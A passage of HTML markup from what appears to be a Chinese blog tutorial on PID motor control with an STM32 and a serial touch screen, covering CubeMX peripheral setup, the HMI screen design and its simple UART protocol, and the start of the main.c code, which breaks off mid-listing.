src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/time_control.png\"\nwidth=\"941\"\nheight=\"875\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/time_control_hu4db4ca04e1c690adffb3211d5d5e5ab9_165813_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/time_control_hu4db4ca04e1c690adffb3211d5d5e5ab9_165813_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"TIM \"\nclass=\"gallery-image\"\ndata-flex-grow=\"107\"\ndata-flex-basis=\"258px\"\n\u003e\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/time_control1.png\"\nwidth=\"934\"\nheight=\"709\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/time_control1_hud30bc67d88e4606d86734df99e013dba_183490_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/time_control1_hud30bc67d88e4606d86734df99e013dba_183490_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"续上图配置的周期(用于控制读Encoder并设定Pwm的间隔,这里调成了0.1秒多一次)\"\nclass=\"gallery-image\"\ndata-flex-grow=\"131\"\ndata-flex-basis=\"316px\"\n\u003e\u003c/p\u003e\n\u003ch5 id=\"adc\"\u003eADC\u003c/h5\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/adc.png\"\nwidth=\"910\"\nheight=\"435\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/adc_hu76805e7ed3647cf5d90adcec01194c89_44184_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/adc_hu76805e7ed3647cf5d90adcec01194c89_44184_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"这里的ADC设置了Single-ended模式\"\nclass=\"gallery-image\"\ndata-flex-grow=\"209\"\ndata-flex-basis=\"502px\"\n\u003e\u003c/p\u003e\n\u003ch5 id=\"gpio\"\u003eGPIO\u003c/h5\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/gpio.png\"\nwidth=\"931\"\nheight=\"1081\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/gpio_hu4620c1d6af36e037585fadb09c11ee09_156730_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/gpio_hu4620c1d6af36e037585fadb09c11ee09_156730_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"这里的GPIO的Bin1和Bin2可以打个标签区分一下, 同时两个都Pull Down(对应的状态是 电机停止)\"\nclass=\"gallery-image\"\ndata-flex-grow=\"86\"\ndata-flex-basis=\"206px\"\n\u003e\u003c/p\u003e\n\u003ch5 id=\"usart\"\u003eUSART\u003c/h5\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/screen_usart.png\"\nwidth=\"938\"\nheight=\"785\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/screen_usart_hu3a00685f918a87810710b7d4b581c1cc_143248_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/screen_usart_hu3a00685f918a87810710b7d4b581c1cc_143248_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"触控屏接到的USART还要打开NVIC全局中断\"\nclass=\"gallery-image\"\ndata-flex-grow=\"119\"\ndata-flex-basis=\"286px\"\n\u003e\n![发送调试信息到Pwlink2lite的Usart把Mode打开成Async就好]\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/printf_usart.png\"\nwidth=\"937\"\nheight=\"445\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/printf_usart_hufbbd1ce6f6e9d2cf426b2d4c66957dc5_52572_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/printf_usart_hufbbd1ce6f6e9d2cf426b2d4c66957dc5_52572_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"Alt text\"\nclass=\"gallery-image\"\ndata-flex-grow=\"210\"\ndata-flex-basis=\"505px\"\n\u003e\u003c/p\u003e\n\u003ch5 id=\"project-manager\"\u003eProject Manager\u003c/h5\u003e\n\u003cp\u003e然后配置一下生成代码的设置, 让它生成单独的c/h文件, 并且生成MDK(Keil)的源代码, 这样后面的VSC + EIDE可以直接以MDK项目格式导入进去,嘎嘎方便.\n\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/hc.png\"\nwidth=\"2557\"\nheight=\"1260\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/hc_hub7ae0b88da0fd6eb5b9d150d279a9c1c_307450_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/hc_hub7ae0b88da0fd6eb5b9d150d279a9c1c_307450_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"生成单独c/h文件\"\nclass=\"gallery-image\"\ndata-flex-grow=\"202\"\ndata-flex-basis=\"487px\"\n\u003e\n\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/mdk.png\"\nwidth=\"2560\"\nheight=\"1263\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/mdk_huf2c82dab1e6b106f83a5e1f661bb4c21_350215_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/mdk_huf2c82dab1e6b106f83a5e1f661bb4c21_350215_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"生成MDK项目\"\nclass=\"gallery-image\"\ndata-flex-grow=\"202\"\ndata-flex-basis=\"486px\"\n\u003e\u003c/p\u003e\n\u003ch3 id=\"usart-hmi-写刷-触控屏程序\"\u003eUSART HMI 写/刷 触控屏程序\u003c/h3\u003e\n\u003cp\u003e小白可以先看看这个系列教程了解一下这个 陶晶驰的图形化设计软件的使用方法\u003cbr\u003e\n\u003cdiv class=\"video-wrapper\"\u003e\n\u003ciframe src=\"https://player.bilibili.com/player.html?as_wide=1\u0026amp;high_quality=1\u0026amp;page=1\u0026bvid=BV16T4y127YE\u0026autoplay=0\"\nscrolling=\"no\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\"\u003e\n\u003c/iframe\u003e\n\u003c/div\u003e\n点击上面可以跳转到完整的系列视频⬆️⬆️⬆️\u003c/p\u003e\n\u003cp\u003e下面是正文⬇️⬇️⬇️\u003c/p\u003e\n\u003cp\u003e我设计的简陋的界面\n\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/home.png\"\nwidth=\"2072\"\nheight=\"795\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/home_hu4d582b6e9de5983c6fdf2c2f2b1c7da8_247571_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/home_hu4d582b6e9de5983c6fdf2c2f2b1c7da8_247571_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"HOME\"\nclass=\"gallery-image\"\ndata-flex-grow=\"260\"\ndata-flex-basis=\"625px\"\n\u003e\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/about.png\"\nwidth=\"1978\"\nheight=\"783\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/about_huac7dfe68c132b969493914a8117ee917_356200_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/about_huac7dfe68c132b969493914a8117ee917_356200_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"ABOUT\"\nclass=\"gallery-image\"\ndata-flex-grow=\"252\"\ndata-flex-basis=\"606px\"\n\u003e\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/func.png\"\nwidth=\"1873\"\nheight=\"749\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/func_hu87881c4c4d9fd19bd5b5842f06b5fc53_263046_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/func_hu87881c4c4d9fd19bd5b5842f06b5fc53_263046_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"FUNC\"\nclass=\"gallery-image\"\ndata-flex-grow=\"250\"\ndata-flex-basis=\"600px\"\n\u003e\u003c/p\u003e\n\u003cp\u003e这里面唯一有用的就是func界面了(其他纯属引流嗷,建议别学我嗷\n\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/func_deatil.png\"\nwidth=\"687\"\nheight=\"522\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/func_deatil_hu57adf9d35597e7a450a8e7d262e59fc3_255222_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/func_deatil_hu57adf9d35597e7a450a8e7d262e59fc3_255222_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"Func\"\nclass=\"gallery-image\"\ndata-flex-grow=\"131\"\ndata-flex-basis=\"315px\"\n\u003e\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e首先需要两个数字框(绑定数字键盘), 一个用来设定目标速度,一个用来设定目标圈数,并且设定了初始值\u003c/li\u003e\n\u003cli\u003e然后加个复选框来 选择 正转 or 反转\u003c/li\u003e\n\u003cli\u003e然后加两个按钮, 一个start 一个 stop, 本质都是用uart发一些数据\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e这里两个按钮需要自己定义一个简单的通信协议, 我这里是这样极其简陋乱写的\u003cbr\u003e\n\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/start.png\"\nwidth=\"193\"\nheight=\"280\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/start_hub1ea8b066bc44846cdeb9988ecd989c4_20676_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/start_hub1ea8b066bc44846cdeb9988ecd989c4_20676_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"Start\"\nclass=\"gallery-image\"\ndata-flex-grow=\"68\"\ndata-flex-basis=\"165px\"\n\u003e\u003cimg src=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/stop.png\"\nwidth=\"344\"\nheight=\"294\"\nsrcset=\"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/stop_hu2a72a1dc7b1766df73c052fd9822e9e0_24339_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/images/stop_hu2a72a1dc7b1766df73c052fd9822e9e0_24339_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"Stop\"\nclass=\"gallery-image\"\ndata-flex-grow=\"117\"\ndata-flex-basis=\"280px\"\n\u003e\u003cbr\u003e\n也就是 [-1,速度的整数,-2,圈数的整数,-3,复选框(正/反转)的整数]\u003c/p\u003e\n\u003cp\u003e搞定程序设计我们调试试一下效果,没有问题就可以把 屏幕用下载器接到电脑(自己简单对接可以)\u003c/p\u003e\n\u003ch3 id=\"vscode--eide\"\u003eVscode + EIDE\u003c/h3\u003e\n\u003ch4 id=\"环境配置\"\u003e环境配置\u003c/h4\u003e\n\u003cp\u003e小白直接看这个教程吧\n\u003cdiv class=\"video-wrapper\"\u003e\n\u003ciframe src=\"https://player.bilibili.com/player.html?as_wide=1\u0026amp;high_quality=1\u0026amp;page=1\u0026bvid=BV1nr4y1R7Jb\u0026autoplay=0\"\nscrolling=\"no\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\"\u003e\n\u003c/iframe\u003e\n\u003c/div\u003e\u003c/p\u003e\n\u003ch4 id=\"控制代码\"\u003e控制代码\u003c/h4\u003e\n\u003cp\u003eEIDE 导入项目后 开始写代码\u003cbr\u003e\n这里由于程序简单, 我直接全写在main.c了\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e这里注意一定要在 BEGIN 和 END 中间来写自己的代码, 否则CubeMX再次生成代码时, 会把你非用户代码区的代码删掉了.\u003c/em\u003e\u003cbr\u003e\n\u003cem\u003e下面的代码中也只有 BEGIN 和 END 中间的代码是开发者自己写的,其他全部由CubeMX自动生成\u003c/em\u003e\u003c/p\u003e\n\u003ch5 id=\"include\"\u003einclude\u003c/h5\u003e\n\u003cp\u003e这里只用到了一个pid(这个代码分享在最后吧), 一个stdio(使用printf)\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e4\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE BEGIN Includes */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026#34;pid.h\u0026#34;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026#34;stdio.h\u0026#34;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"cm\"\u003e/* USER CODE END Includes */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch5 id=\"用uart重定向printf到调试器\"\u003e用uart重定向printf到调试器\u003c/h5\u003e\n\u003cp\u003e这个记住就好啦, 网上抄来的方法, 确实不错的方案\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e8\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003efputc\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eFILE\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 使用HAL库函数HAL_UART_Transmit将字符ch发送到UART4串口\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart4\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 返回发送的字符,这通常不会有实际的影响,但是它需要返回发送的字符。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch5 id=\"main函数\"\u003emain函数\u003c/h5\u003e\n\u003col\u003e\n\u003cli\u003e初始化一些参数, 并初始化一个PID计算的结构体\u003c/li\u003e\n\u003cli\u003e把屏幕控制的USART打开来接受信息, 并且设置每接受六次产生一次中断(因为上面的串口屏是设定的发送6个整数)\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e42\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e43\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e44\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e45\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e46\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e47\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e48\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e49\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e50\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e51\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e52\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e53\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e54\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e55\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e56\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e57\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e58\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e59\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e60\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e61\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e62\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e63\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e64\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e65\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e66\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e67\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e68\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e69\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e70\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE BEGIN 0 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 定义一个全局的PID结构体,用来计算PID的时候传参\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003ePID_struct\u003c/span\u003e \u003cspan class=\"n\"\u003epid\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 定义一个buf用来储存从屏幕的uart收到的消息(发了6个整数)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE END 0 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan 